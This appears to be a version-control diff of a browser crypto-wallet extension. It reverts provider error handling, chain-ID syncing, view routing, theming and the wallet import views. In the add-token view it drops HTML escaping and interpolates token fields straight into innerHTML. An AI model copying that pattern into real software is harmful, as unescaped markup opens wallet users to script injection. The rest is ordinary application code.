// Creates window.ethereum (EIP-1193 provider) and announces via EIP-6963.
|
||||
|
||||
(function () {
|
||||
// Defaults to mainnet; updated dynamically via eth_chainId on init and
|
||||
// chainChanged events from the extension.
|
||||
let currentChainId = "0x1";
|
||||
let currentNetworkVersion = "1";
|
||||
const CHAIN_ID = "0x1"; // Ethereum mainnet
|
||||
|
||||
const listeners = {};
|
||||
let nextId = 1;
|
||||
const pending = {};
|
||||
|
||||
// EIP-1193 ProviderRpcError: `code`, `message`, optional `data`. A class
|
||||
// rather than properties bolted onto an Error because this object crosses
|
||||
// no boundary after construction — it is built in the page's own realm and
|
||||
// handed straight to the caller's catch — so the prototype survives and
|
||||
// `error.name` is a stable thing for a dApp to see.
|
||||
class ProviderRpcError extends Error {
|
||||
constructor(code, message, data) {
|
||||
super(message);
|
||||
this.name = "ProviderRpcError";
|
||||
this.code = code;
|
||||
if (data !== undefined) this.data = data;
|
||||
}
|
||||
}
|
||||
|
||||
// Rebuild a boundary error as the error the page catches, carrying the
|
||||
// code (and data) the extension reported. Without this a dApp cannot tell
|
||||
// a user's refusal (4001) from a wallet that broke, and retries or shows
|
||||
// an error instead of accepting the refusal.
|
||||
//
|
||||
// Whatever code arrived is passed through verbatim rather than being
|
||||
// matched against a list: the extension emits 4001, 4100 and 4902 today,
|
||||
// and a code this file has never heard of is still the truth about what
|
||||
// happened. An error reported with no code at all stays a plain Error —
|
||||
// a ProviderRpcError whose `code` is undefined would advertise a
|
||||
// conformance it does not have. `message` is untouched in every case.
|
||||
function toPageError(error) {
|
||||
const message = (error && error.message) || "Request failed";
|
||||
if (error && error.code !== undefined && error.code !== null) {
|
||||
return new ProviderRpcError(error.code, message, error.data);
|
||||
}
|
||||
return new Error(message);
|
||||
}
|
||||
|
||||
// Listen for responses from the content script
|
||||
window.addEventListener("message", function onUuid(event) {
|
||||
if (event.source !== window) return;
|
||||
@@ -53,7 +17,7 @@
|
||||
if (!p) return;
|
||||
delete pending[id];
|
||||
if (error) {
|
||||
p.reject(toPageError(error));
|
||||
p.reject(new Error(error.message || "Request failed"));
|
||||
} else {
|
||||
p.resolve(result);
|
||||
}
|
||||
@@ -64,12 +28,6 @@
|
||||
if (event.source !== window) return;
|
||||
if (event.data?.type !== "AUTISTMASK_EVENT") return;
|
||||
const { eventName, data } = event.data;
|
||||
if (eventName === "chainChanged") {
|
||||
currentChainId = data;
|
||||
currentNetworkVersion = String(parseInt(data, 16));
|
||||
provider.chainId = currentChainId;
|
||||
provider.networkVersion = currentNetworkVersion;
|
||||
}
|
||||
emit(eventName, data);
|
||||
});
|
||||
|
||||
@@ -79,7 +37,7 @@
|
||||
for (const cb of cbs) {
|
||||
try {
|
||||
cb(data);
|
||||
} catch {
|
||||
} catch (e) {
|
||||
// ignore listener errors
|
||||
}
|
||||
}
|
||||
@@ -99,8 +57,8 @@
|
||||
const provider = {
|
||||
isAutistMask: true,
|
||||
isMetaMask: true, // compatibility — many dApps check this
|
||||
chainId: currentChainId,
|
||||
networkVersion: currentNetworkVersion,
|
||||
chainId: CHAIN_ID,
|
||||
networkVersion: "1",
|
||||
selectedAddress: null,
|
||||
|
||||
async request(args) {
|
||||
@@ -117,12 +75,6 @@
|
||||
? result[0]
|
||||
: null;
|
||||
}
|
||||
if (args.method === "eth_chainId" && result) {
|
||||
currentChainId = result;
|
||||
currentNetworkVersion = String(parseInt(result, 16));
|
||||
provider.chainId = currentChainId;
|
||||
provider.networkVersion = currentNetworkVersion;
|
||||
}
|
||||
return result;
|
||||
},
|
||||
|
||||
@@ -179,8 +131,7 @@
|
||||
return this;
|
||||
},
|
||||
|
||||
// Some dApps (wagmi) probe this object to decide whether the provider
|
||||
// supports the de-facto standard extras. The name is theirs, not ours.
|
||||
// Some dApps (wagmi) check this to confirm MetaMask-like behavior
|
||||
_metamask: {
|
||||
isUnlocked() {
|
||||
return Promise.resolve(provider.selectedAddress !== null);
|
||||
@@ -238,19 +189,4 @@
|
||||
|
||||
window.addEventListener("eip6963:requestProvider", announceProvider);
|
||||
announceProvider();
|
||||
|
||||
// Fetch the current chain ID from the extension on load so the provider
|
||||
// reflects the selected network immediately (covers Sepolia etc.).
|
||||
sendRequest({ method: "eth_chainId", params: [] })
|
||||
.then((chainId) => {
|
||||
if (chainId) {
|
||||
currentChainId = chainId;
|
||||
currentNetworkVersion = String(parseInt(chainId, 16));
|
||||
provider.chainId = currentChainId;
|
||||
provider.networkVersion = currentNetworkVersion;
|
||||
}
|
||||
})
|
||||
.catch(() => {
|
||||
// Best-effort — keep defaults.
|
||||
});
|
||||
})();
|
||||
|
||||
@@ -1,42 +0,0 @@
|
||||
// Parsing for the dust threshold field in Settings.
|
||||
//
|
||||
// Pure: no DOM, no state, so the accepted set can be unit tested directly
|
||||
// instead of through the settings view.
|
||||
//
|
||||
// Accepted input is plain decimal digits only, meaning a whole number of
|
||||
// gwei, zero or greater. Zero is a real setting: it hides nothing.
|
||||
//
|
||||
// Deliberately rejected, not coerced:
|
||||
// "" nothing to save
|
||||
// "-1" a negative threshold has no meaning
|
||||
// "1.5" fractional gwei is not a threshold the filter can use
|
||||
// "100 gwei" the unit is already printed beside the field
|
||||
// "0x10" hex, which Number() would silently read as 16
|
||||
// "1e3" exponent notation, which Number() would silently read as 1000
|
||||
//
|
||||
// The last two are the reason this is a digit test and not a Number() test.
|
||||
// Number() accepts both, and accepting them would put a number in the field
|
||||
// that the user did not type — the same silent substitution the visible
|
||||
// rejection message exists to end.
|
||||
|
||||
// Must render on ONE line of #flash-msg, whose reserved height
|
||||
// (min-h-[1.25rem]) is exactly one line at text-xs. A string long enough to
|
||||
// wrap to two lines pushes the settings view down, which the No Layout Shift
|
||||
// policy forbids. Do not lengthen this without re-running the layout test in
|
||||
// tests/e2e/run.js, which measures the flash line and goes red on a shift.
|
||||
const DUST_THRESHOLD_MESSAGE =
|
||||
"Please enter a whole number of gwei, zero or greater.";
|
||||
|
||||
// Returns the threshold in gwei, or null if the input is not one.
|
||||
function parseDustThresholdGwei(raw) {
|
||||
if (typeof raw !== "string") return null;
|
||||
const trimmed = raw.trim();
|
||||
if (!/^[0-9]+$/.test(trimmed)) return null;
|
||||
const val = Number(trimmed);
|
||||
// A run of digits long enough to exceed Number's exact integer range
|
||||
// would round on the way in, so it is not a threshold we can store.
|
||||
if (!Number.isSafeInteger(val)) return null;
|
||||
return val;
|
||||
}
|
||||
|
||||
module.exports = { DUST_THRESHOLD_MESSAGE, parseDustThresholdGwei };
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,29 +1,16 @@
|
||||
// AutistMask popup entry point.
|
||||
// Loads state, initializes views, triggers first render.
|
||||
|
||||
const { DEBUG } = require("../shared/constants");
|
||||
const { state, saveState, loadState } = require("../shared/state");
|
||||
const { StateUnusableError } = require("../shared/stateSchema");
|
||||
const { setRuntimeDebug } = require("../shared/log");
|
||||
const { refreshPrices } = require("../shared/prices");
|
||||
const { refreshBalances } = require("../shared/balances");
|
||||
const {
|
||||
$,
|
||||
showView,
|
||||
updateDebugBanner,
|
||||
setBackRenderer,
|
||||
pushCurrentView,
|
||||
goBack,
|
||||
} = require("./views/helpers");
|
||||
const { applyTheme } = require("./theme");
|
||||
// Renders a view the popup lands on without having navigated to it forward:
|
||||
// on restore here, and on Back. Only the views that can be fully re-rendered
|
||||
// from persisted state (RESTORABLE_VIEWS, src/shared/restorableViews.js) go
|
||||
// through it; anything else falls back to the nearest restorable parent.
|
||||
const { renderView, makeBackRenderer } = require("./viewRouter");
|
||||
const { $, showView } = require("./views/helpers");
|
||||
|
||||
const home = require("./views/home");
|
||||
const welcome = require("./views/welcome");
|
||||
const addWallet = require("./views/addWallet");
|
||||
const importKey = require("./views/importKey");
|
||||
const addressDetail = require("./views/addressDetail");
|
||||
const addressToken = require("./views/addressToken");
|
||||
const send = require("./views/send");
|
||||
@@ -34,9 +21,7 @@ const receive = require("./views/receive");
|
||||
const addToken = require("./views/addToken");
|
||||
const settings = require("./views/settings");
|
||||
const settingsAddToken = require("./views/settingsAddToken");
|
||||
const deleteAddress = require("./views/deleteAddress");
|
||||
const approval = require("./views/approval");
|
||||
const stateRecovery = require("./views/stateRecovery");
|
||||
|
||||
function renderWalletList() {
|
||||
home.render(ctx);
|
||||
@@ -55,7 +40,6 @@ async function doRefreshAndRender() {
|
||||
state.rpcUrl,
|
||||
state.blockscoutUrl,
|
||||
state.trackedTokens,
|
||||
state.networkId,
|
||||
),
|
||||
]);
|
||||
state.lastBalanceRefresh = Date.now();
|
||||
@@ -69,65 +53,105 @@ async function doRefreshAndRender() {
|
||||
const ctx = {
|
||||
renderWalletList,
|
||||
doRefreshAndRender,
|
||||
showAddWalletView: () => {
|
||||
pushCurrentView();
|
||||
addWallet.show();
|
||||
},
|
||||
showAddressDetail: () => {
|
||||
pushCurrentView();
|
||||
addressDetail.show();
|
||||
},
|
||||
showAddressToken: () => {
|
||||
pushCurrentView();
|
||||
addressToken.show();
|
||||
},
|
||||
showAddTokenView: () => {
|
||||
pushCurrentView();
|
||||
addToken.show();
|
||||
},
|
||||
showConfirmTx: (txInfo) => {
|
||||
pushCurrentView();
|
||||
confirmTx.show(txInfo);
|
||||
},
|
||||
showReceive: () => {
|
||||
pushCurrentView();
|
||||
receive.show();
|
||||
},
|
||||
showTransactionDetail: (tx) => {
|
||||
pushCurrentView();
|
||||
transactionDetail.show(tx);
|
||||
},
|
||||
showSettingsView: () => {
|
||||
pushCurrentView();
|
||||
settings.show();
|
||||
},
|
||||
showSettingsAddTokenView: () => {
|
||||
pushCurrentView();
|
||||
settingsAddToken.show();
|
||||
},
|
||||
showDeleteAddress: (walletIdx, addrIdx) => {
|
||||
pushCurrentView();
|
||||
deleteAddress.show(walletIdx, addrIdx);
|
||||
},
|
||||
showAddWalletView: () => addWallet.show(),
|
||||
showImportKeyView: () => importKey.show(),
|
||||
showAddressDetail: () => addressDetail.show(),
|
||||
showAddressToken: () => addressToken.show(),
|
||||
showAddTokenView: () => addToken.show(),
|
||||
showConfirmTx: (txInfo) => confirmTx.show(txInfo),
|
||||
showReceive: () => receive.show(),
|
||||
showTransactionDetail: (tx) => transactionDetail.show(tx),
|
||||
showSettingsView: () => settings.show(),
|
||||
showSettingsAddTokenView: () => settingsAddToken.show(),
|
||||
};
|
||||
|
||||
// The view modules the router renders through, keyed as it expects them.
|
||||
const viewModules = {
|
||||
main: { show: () => fallbackView() },
|
||||
addressDetail,
|
||||
addressToken,
|
||||
receive,
|
||||
settings,
|
||||
settingsAddToken,
|
||||
confirmTx,
|
||||
transactionDetail,
|
||||
txStatus,
|
||||
};
|
||||
// Views that can be fully re-rendered from persisted state.
|
||||
// All others fall back to the nearest restorable parent.
|
||||
const RESTORABLE_VIEWS = new Set([
|
||||
"main",
|
||||
"address",
|
||||
"address-token",
|
||||
"receive",
|
||||
"settings",
|
||||
"settings-addtoken",
|
||||
"transaction",
|
||||
"success-tx",
|
||||
"error-tx",
|
||||
]);
|
||||
|
||||
function needsAddress(view) {
|
||||
return (
|
||||
view === "address" ||
|
||||
view === "address-token" ||
|
||||
view === "receive" ||
|
||||
view === "transaction"
|
||||
);
|
||||
}
|
||||
|
||||
function hasValidAddress() {
|
||||
return (
|
||||
state.selectedWallet !== null &&
|
||||
state.selectedAddress !== null &&
|
||||
state.wallets[state.selectedWallet] &&
|
||||
state.wallets[state.selectedWallet].addresses[state.selectedAddress]
|
||||
);
|
||||
}
|
||||
|
||||
function restoreView() {
|
||||
if (!renderView(state.currentView, state, viewModules)) {
|
||||
const view = state.currentView;
|
||||
if (!view || !RESTORABLE_VIEWS.has(view)) {
|
||||
return fallbackView();
|
||||
}
|
||||
|
||||
if (needsAddress(view) && !hasValidAddress()) {
|
||||
return fallbackView();
|
||||
}
|
||||
|
||||
if (view === "address-token" && !state.selectedToken) {
|
||||
return fallbackView();
|
||||
}
|
||||
|
||||
switch (view) {
|
||||
case "address":
|
||||
addressDetail.show();
|
||||
break;
|
||||
case "address-token":
|
||||
addressToken.show();
|
||||
break;
|
||||
case "receive":
|
||||
receive.show();
|
||||
break;
|
||||
case "settings":
|
||||
settings.show();
|
||||
break;
|
||||
case "settings-addtoken":
|
||||
settingsAddToken.show();
|
||||
break;
|
||||
case "transaction":
|
||||
if (state.viewData && state.viewData.tx) {
|
||||
transactionDetail.render();
|
||||
} else {
|
||||
fallbackView();
|
||||
}
|
||||
break;
|
||||
case "success-tx":
|
||||
if (state.viewData && state.viewData.hash) {
|
||||
txStatus.renderSuccess();
|
||||
} else {
|
||||
fallbackView();
|
||||
}
|
||||
break;
|
||||
case "error-tx":
|
||||
if (state.viewData && state.viewData.message) {
|
||||
txStatus.renderError();
|
||||
} else {
|
||||
fallbackView();
|
||||
}
|
||||
break;
|
||||
default:
|
||||
fallbackView();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
function fallbackView() {
|
||||
@@ -136,29 +160,16 @@ function fallbackView() {
|
||||
}
|
||||
|
||||
async function init() {
|
||||
try {
|
||||
if (DEBUG) {
|
||||
const banner = document.createElement("div");
|
||||
banner.id = "debug-banner";
|
||||
banner.textContent = "DEBUG / INSECURE";
|
||||
banner.style.cssText =
|
||||
"background:#c00;color:#fff;text-align:center;font-size:10px;padding:1px 0;font-family:monospace;position:sticky;top:0;z-index:9999;";
|
||||
document.body.prepend(banner);
|
||||
}
|
||||
|
||||
await loadState();
|
||||
} catch (e) {
|
||||
// A profile this build cannot read is the one failure that must not
|
||||
// fall through to the rest of init(). It used to: the load "succeeded"
|
||||
// on a record nothing had validated, and the first dereference below
|
||||
// threw, leaving a popup with no view, no message and no control on
|
||||
// it, and no way out of the wallet from inside the product
|
||||
// (https://git.eeqj.de/sneak/AutistMask/issues/311). Now the load
|
||||
// refuses, and this is the screen that says so.
|
||||
if (e instanceof StateUnusableError) {
|
||||
stateRecovery.show(e);
|
||||
return;
|
||||
}
|
||||
throw e;
|
||||
}
|
||||
applyTheme(state.theme);
|
||||
|
||||
// Sync runtime debug flag from persisted state before first render
|
||||
setRuntimeDebug(state.debugMode);
|
||||
|
||||
// Create the debug/testnet banner if needed (uses runtime debug state)
|
||||
updateDebugBanner();
|
||||
|
||||
// Auto-default active address
|
||||
if (
|
||||
@@ -178,12 +189,6 @@ async function init() {
|
||||
const params = new URLSearchParams(window.location.search);
|
||||
const approvalId = params.get("approval");
|
||||
if (approvalId) {
|
||||
// Deliberately not awaited, and deliberately not .catch()ed. show()
|
||||
// is async, so a throw past its first await surfaces as an unhandled
|
||||
// rejection rather than an uncaught error — measured as still failing
|
||||
// the run on both harnesses (Playwright `pageerror`, and the Firefox
|
||||
// driver's console-service drain), so nothing is lost by leaving it
|
||||
// on that path.
|
||||
approval.show(approvalId);
|
||||
showView("approve-site");
|
||||
return;
|
||||
@@ -195,17 +200,16 @@ async function init() {
|
||||
.getElementById("view-settings")
|
||||
.classList.contains("hidden")
|
||||
) {
|
||||
goBack();
|
||||
renderWalletList();
|
||||
showView("main");
|
||||
return;
|
||||
}
|
||||
pushCurrentView();
|
||||
settings.show();
|
||||
});
|
||||
|
||||
setBackRenderer(makeBackRenderer(state, viewModules));
|
||||
|
||||
welcome.init(ctx);
|
||||
addWallet.init(ctx);
|
||||
importKey.init(ctx);
|
||||
home.init(ctx);
|
||||
addressDetail.init(ctx);
|
||||
addressToken.init(ctx);
|
||||
@@ -216,7 +220,6 @@ async function init() {
|
||||
addToken.init(ctx);
|
||||
settings.init(ctx);
|
||||
settingsAddToken.init(ctx);
|
||||
deleteAddress.init(ctx);
|
||||
|
||||
if (!state.hasWallet) {
|
||||
showView("welcome");
|
||||
|
||||
@@ -10,37 +10,12 @@
|
||||
--color-border: #000000;
|
||||
--color-border-light: #cccccc;
|
||||
--color-hover: #eeeeee;
|
||||
--color-well: #e8e8e8;
|
||||
--color-well: #f5f5f5;
|
||||
--color-danger-well: #fef2f2;
|
||||
--color-section: #dddddd;
|
||||
}
|
||||
|
||||
html.dark {
|
||||
--color-bg: #000000;
|
||||
--color-fg: #ffffff;
|
||||
--color-muted: #aaaaaa;
|
||||
--color-border: #ffffff;
|
||||
--color-border-light: #444444;
|
||||
--color-hover: #222222;
|
||||
--color-well: #1a1a1a;
|
||||
--color-danger-well: #2a0a0a;
|
||||
--color-section: #2a2a2a;
|
||||
}
|
||||
|
||||
body {
|
||||
width: 396px;
|
||||
overflow-x: hidden;
|
||||
}
|
||||
|
||||
/* Copy-flash feedback: inverts colors then fades back */
|
||||
.copy-flash-active {
|
||||
background-color: var(--color-fg) !important;
|
||||
color: var(--color-bg) !important;
|
||||
transition: none;
|
||||
}
|
||||
|
||||
.copy-flash-fade {
|
||||
transition:
|
||||
background-color 225ms ease-out,
|
||||
color 225ms ease-out;
|
||||
}
|
||||
|
||||
@@ -1,33 +0,0 @@
|
||||
// Theme management: applies light/dark class to <html> based on preference.
|
||||
|
||||
let mediaQuery = null;
|
||||
let mediaHandler = null;
|
||||
|
||||
function applyTheme(theme) {
|
||||
// Clean up previous system listener
|
||||
if (mediaQuery && mediaHandler) {
|
||||
mediaQuery.removeEventListener("change", mediaHandler);
|
||||
mediaHandler = null;
|
||||
}
|
||||
|
||||
if (theme === "dark") {
|
||||
document.documentElement.classList.add("dark");
|
||||
} else if (theme === "light") {
|
||||
document.documentElement.classList.remove("dark");
|
||||
} else {
|
||||
// system
|
||||
mediaQuery = window.matchMedia("(prefers-color-scheme: dark)");
|
||||
const update = () => {
|
||||
if (mediaQuery.matches) {
|
||||
document.documentElement.classList.add("dark");
|
||||
} else {
|
||||
document.documentElement.classList.remove("dark");
|
||||
}
|
||||
};
|
||||
mediaHandler = update;
|
||||
mediaQuery.addEventListener("change", update);
|
||||
update();
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = { applyTheme };
|
||||
@@ -1,167 +0,0 @@
|
||||
// Rendering a view the popup lands on without having navigated to it
|
||||
// forward: on restore, and on Back. In both cases the view may never have
|
||||
// been rendered in this page load — a reopened popup renders only the
|
||||
// wallet list and the view it restores onto, so every other view is still
|
||||
// the blank static template from index.html — so unhiding it is not enough.
|
||||
//
|
||||
// Forward navigation renders as it goes and must NOT come through here:
|
||||
// rendering a second time would re-fetch and clobber whatever the view has
|
||||
// in flight.
|
||||
//
|
||||
// The view modules are injected and nothing here touches the DOM, so the
|
||||
// dispatch and its data guards can be tested directly; src/popup/index.js
|
||||
// cannot be required outside a browser.
|
||||
|
||||
const { RESTORABLE_VIEWS } = require("../shared/restorableViews");
|
||||
|
||||
// The views this page load has rendered.
|
||||
//
|
||||
// The Back path cannot otherwise tell its two cases apart. A view the popup
|
||||
// never rendered is still the blank template from index.html and has to be
|
||||
// rendered; a view already on the page must NOT be rendered again, because
|
||||
// a second render re-fetches and overwrites whatever the user has typed
|
||||
// into it and not yet saved.
|
||||
//
|
||||
// Registration is showView() in views/helpers.js, which is the last thing
|
||||
// every render path runs — restoreView()'s, the Back path's, and every
|
||||
// forward show(). That is the point of putting it there rather than in the
|
||||
// individual views: a view added later registers itself with no one having
|
||||
// to remember it, so this cannot decay.
|
||||
//
|
||||
// Module scope is page-load scope: the popup loads this module once per
|
||||
// page load, and a reopened popup gets a fresh, empty set — which is
|
||||
// exactly the state that makes the Back path render.
|
||||
const renderedViews = new Set();
|
||||
|
||||
function markViewRendered(view) {
|
||||
if (view) renderedViews.add(view);
|
||||
}
|
||||
|
||||
// Begin a fresh page-load scope. The popup gets one by being loaded; the
|
||||
// unit tests, which simulate several page loads against one module
|
||||
// instance, ask for one.
|
||||
function resetRenderedViews() {
|
||||
renderedViews.clear();
|
||||
}
|
||||
|
||||
// Home is the exception: Back re-renders it every time, which is what the
|
||||
// popup did before this router existed (index.js registered
|
||||
// renderWalletList() as setRenderMain(), and goBack() called it on every
|
||||
// Back onto "main"). It must stay that way — the wallet list has to reflect
|
||||
// what changed while the user was away from it, such as a wallet renamed or
|
||||
// an address removed in Settings — and Home holds no unsaved input to lose.
|
||||
const ALWAYS_RENDER_ON_BACK = new Set(["main"]);
|
||||
|
||||
// Views that render an address the user picked and cannot be rendered
|
||||
// without one.
|
||||
const ADDRESS_VIEWS = new Set([
|
||||
"address",
|
||||
"address-token",
|
||||
"receive",
|
||||
"transaction",
|
||||
]);
|
||||
|
||||
function needsAddress(view) {
|
||||
return ADDRESS_VIEWS.has(view);
|
||||
}
|
||||
|
||||
function hasValidAddress(state) {
|
||||
return Boolean(
|
||||
state.selectedWallet !== null &&
|
||||
state.selectedAddress !== null &&
|
||||
state.wallets[state.selectedWallet] &&
|
||||
state.wallets[state.selectedWallet].addresses[state.selectedAddress],
|
||||
);
|
||||
}
|
||||
|
||||
// Render `view` from persisted state. Each view module shows itself, so a
|
||||
// true return means the view is both rendered and on screen.
|
||||
//
|
||||
// Returns false when the view is not one the popup renders from state, or
|
||||
// when the state it would render is gone — a token no longer selected, a
|
||||
// transaction no longer persisted. The caller falls back rather than
|
||||
// putting an empty template on screen.
|
||||
function renderView(view, state, views) {
|
||||
if (!view || !RESTORABLE_VIEWS.has(view)) return false;
|
||||
if (needsAddress(view) && !hasValidAddress(state)) return false;
|
||||
if (view === "address-token" && !state.selectedToken) return false;
|
||||
|
||||
const data = state.viewData || {};
|
||||
switch (view) {
|
||||
case "main":
|
||||
views.main.show();
|
||||
return true;
|
||||
case "address":
|
||||
views.addressDetail.show();
|
||||
return true;
|
||||
case "address-token":
|
||||
views.addressToken.show();
|
||||
return true;
|
||||
case "receive":
|
||||
views.receive.show();
|
||||
return true;
|
||||
case "settings":
|
||||
views.settings.show();
|
||||
return true;
|
||||
case "settings-addtoken":
|
||||
views.settingsAddToken.show();
|
||||
return true;
|
||||
case "confirm-tx":
|
||||
if (!data.pendingTx) return false;
|
||||
views.confirmTx.restore();
|
||||
return true;
|
||||
case "transaction":
|
||||
if (!data.tx) return false;
|
||||
views.transactionDetail.render();
|
||||
return true;
|
||||
case "wait-tx":
|
||||
// Resumes the receipt poll from the persisted broadcast time,
|
||||
// and answers false when there is nothing resumable left.
|
||||
return Boolean(views.txStatus.restoreWait());
|
||||
case "success-tx":
|
||||
if (!data.hash) return false;
|
||||
views.txStatus.renderSuccess();
|
||||
return true;
|
||||
case "error-tx":
|
||||
if (!data.message) return false;
|
||||
views.txStatus.renderError();
|
||||
return true;
|
||||
default:
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// The Back-path renderer, registered with setBackRenderer() in
|
||||
// views/helpers.js.
|
||||
//
|
||||
// Returns false — leaving goBack() to unhide the view, as it always did —
|
||||
// in the two cases where the view is known to be on the page already:
|
||||
//
|
||||
// - It is not one the popup renders from persisted state. The restored
|
||||
// stack is filtered against RESTORABLE_VIEWS, so such a view can only
|
||||
// be on the stack from this page load, where forward navigation
|
||||
// rendered it on the way in.
|
||||
// - This page load has rendered it. Re-rendering would re-fetch and
|
||||
// clobber what it holds; Home is rendered anyway, see above.
|
||||
//
|
||||
// What is left is the case the router exists for: a view on the stack that
|
||||
// this page load has never rendered, whose template is still blank.
|
||||
function makeBackRenderer(state, views) {
|
||||
return function renderBack(view) {
|
||||
if (!RESTORABLE_VIEWS.has(view)) return false;
|
||||
if (renderedViews.has(view) && !ALWAYS_RENDER_ON_BACK.has(view)) {
|
||||
return false;
|
||||
}
|
||||
if (!renderView(view, state, views)) {
|
||||
views.main.show();
|
||||
}
|
||||
return true;
|
||||
};
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
renderView,
|
||||
makeBackRenderer,
|
||||
markViewRendered,
|
||||
resetRenderedViews,
|
||||
};
|
||||
@@ -1,4 +1,4 @@
|
||||
const { $, showView, showFlash, escapeHtml, goBack } = require("./helpers");
|
||||
const { $, showView, showFlash } = require("./helpers");
|
||||
const { getTopTokens } = require("../../shared/tokenList");
|
||||
const { state, saveState } = require("../../shared/state");
|
||||
const { lookupTokenInfo } = require("../../shared/balances");
|
||||
@@ -7,13 +7,12 @@ const { log } = require("../../shared/log");
|
||||
|
||||
function show() {
|
||||
$("add-token-address").value = "";
|
||||
$("add-token-info").textContent = "";
|
||||
$("add-token-info").style.visibility = "hidden";
|
||||
$("add-token-info").classList.add("hidden");
|
||||
const list = $("common-token-list");
|
||||
list.innerHTML = getTopTokens(25)
|
||||
.map(
|
||||
(t) =>
|
||||
`<button class="common-token border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs" data-address="${escapeHtml(t.address)}" data-symbol="${escapeHtml(t.symbol)}" data-decimals="${escapeHtml(t.decimals)}">${escapeHtml(t.symbol)}</button>`,
|
||||
`<button class="common-token border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs" data-address="${t.address}" data-symbol="${t.symbol}" data-decimals="${t.decimals}">${t.symbol}</button>`,
|
||||
)
|
||||
.join("");
|
||||
list.querySelectorAll(".common-token").forEach((btn) => {
|
||||
@@ -46,14 +45,10 @@ function init(ctx) {
|
||||
}
|
||||
const infoEl = $("add-token-info");
|
||||
infoEl.textContent = "Looking up token...";
|
||||
infoEl.style.visibility = "visible";
|
||||
infoEl.classList.remove("hidden");
|
||||
log.debugf("Looking up token contract", contractAddr);
|
||||
try {
|
||||
const info = await lookupTokenInfo(
|
||||
contractAddr,
|
||||
state.rpcUrl,
|
||||
state.networkId,
|
||||
);
|
||||
const info = await lookupTokenInfo(contractAddr, state.rpcUrl);
|
||||
log.infof("Adding token", info.symbol, contractAddr);
|
||||
state.trackedTokens.push({
|
||||
address: contractAddr,
|
||||
@@ -63,24 +58,16 @@ function init(ctx) {
|
||||
});
|
||||
await saveState();
|
||||
ctx.doRefreshAndRender();
|
||||
// Pop the stack (back to address detail) and re-render it
|
||||
// so the newly added token is visible immediately.
|
||||
if (state.viewStack.length > 0) {
|
||||
state.viewStack.pop();
|
||||
}
|
||||
require("./addressDetail").show();
|
||||
ctx.showAddressDetail();
|
||||
} catch (e) {
|
||||
const detail = e.shortMessage || e.message || String(e);
|
||||
log.errorf("Token lookup failed for", contractAddr, detail);
|
||||
showFlash(detail);
|
||||
infoEl.textContent = "";
|
||||
infoEl.style.visibility = "hidden";
|
||||
infoEl.classList.add("hidden");
|
||||
}
|
||||
});
|
||||
|
||||
$("btn-add-token-back").addEventListener("click", () => {
|
||||
goBack();
|
||||
});
|
||||
$("btn-add-token-back").addEventListener("click", ctx.showAddressDetail);
|
||||
}
|
||||
|
||||
module.exports = { init, show };
|
||||
|
||||
@@ -1,138 +1,41 @@
|
||||
const {
|
||||
$,
|
||||
showView,
|
||||
showFlash,
|
||||
goBack,
|
||||
clearViewStack,
|
||||
onViewLeave,
|
||||
} = require("./helpers");
|
||||
const { $, showView, showFlash, showError, hideError } = require("./helpers");
|
||||
const {
|
||||
generateMnemonic,
|
||||
hdWalletFromMnemonic,
|
||||
isValidMnemonic,
|
||||
addressFromPrivateKey,
|
||||
hdWalletFromXprv,
|
||||
isValidXprv,
|
||||
isMasterExtendedKey,
|
||||
} = require("../../shared/wallet");
|
||||
const { encryptWithPassword } = require("../../shared/vault");
|
||||
const { state, saveState } = require("../../shared/state");
|
||||
const { scanForAddresses } = require("../../shared/balances");
|
||||
|
||||
/**
|
||||
* Check if an address already exists in ANY wallet (hd, xprv, or key).
|
||||
* Returns the wallet object if found, or undefined.
|
||||
*/
|
||||
function findWalletByAddress(addr) {
|
||||
const lower = addr.toLowerCase();
|
||||
return state.wallets.find((w) =>
|
||||
w.addresses.some((a) => a.address.toLowerCase() === lower),
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if an xpub already exists in any HD-type wallet (hd or xprv).
|
||||
* Returns the wallet object if found, or undefined.
|
||||
*/
|
||||
function findWalletByXpub(xpub) {
|
||||
return state.wallets.find((w) => w.xpub && w.xpub === xpub);
|
||||
}
|
||||
|
||||
let currentMode = "mnemonic";
|
||||
|
||||
const MODES = ["mnemonic", "privkey", "xprv"];
|
||||
|
||||
// Each hint names what this import mode's own backup is, because a key
|
||||
// wallet and an xprv wallet have no recovery phrase to point the user at.
|
||||
// All three say the same thing about the password: it is gone for good if
|
||||
// it is forgotten. That sentence is the only warning the user gets before
|
||||
// the wallet exists, and without it the lost-password route in
|
||||
// views/deleteWallet.js is the first they hear of it.
|
||||
//
|
||||
// Keep the three within a couple of characters of each other in length.
|
||||
// The hint sits directly above the password fields and the tabs swap it in
|
||||
// place, so a wording that wraps to a different number of lines would move
|
||||
// those fields under the pointer; the reserved height on
|
||||
// #add-wallet-password-hint is the other half of that guarantee.
|
||||
const PASSWORD_HINTS = {
|
||||
mnemonic:
|
||||
"This password encrypts your recovery phrase on this device. You will need it to send funds. It cannot be recovered or reset, so keep your recovery phrase written down: it is the only backup of this wallet.",
|
||||
privkey:
|
||||
"This password encrypts your private key on this device. You will need it to send funds. It cannot be recovered or reset, so keep your private key saved somewhere safe: it is the only backup of this wallet.",
|
||||
xprv: "This password encrypts your key on this device. You will need it to send funds. It cannot be recovered or reset, so keep your extended private key saved somewhere safe: it is the only backup of this wallet.",
|
||||
};
|
||||
|
||||
function switchMode(mode) {
|
||||
currentMode = mode;
|
||||
for (const m of MODES) {
|
||||
$("add-wallet-section-" + m).classList.toggle("hidden", m !== mode);
|
||||
const tab = $("tab-" + m);
|
||||
const isActive = m === mode;
|
||||
// Active: bold, solid border on top/sides, no bottom border (connects to content)
|
||||
tab.classList.toggle("font-bold", isActive);
|
||||
tab.classList.toggle("border-solid", isActive);
|
||||
tab.classList.toggle("border-border", isActive);
|
||||
tab.classList.toggle("border-b-bg", isActive);
|
||||
tab.classList.toggle("bg-bg", isActive);
|
||||
// Inactive: muted text, dashed border on top/sides, transparent bottom, hover invert
|
||||
tab.classList.toggle("text-muted", !isActive);
|
||||
tab.classList.toggle("border-dashed", !isActive);
|
||||
tab.classList.toggle("border-border-light", !isActive);
|
||||
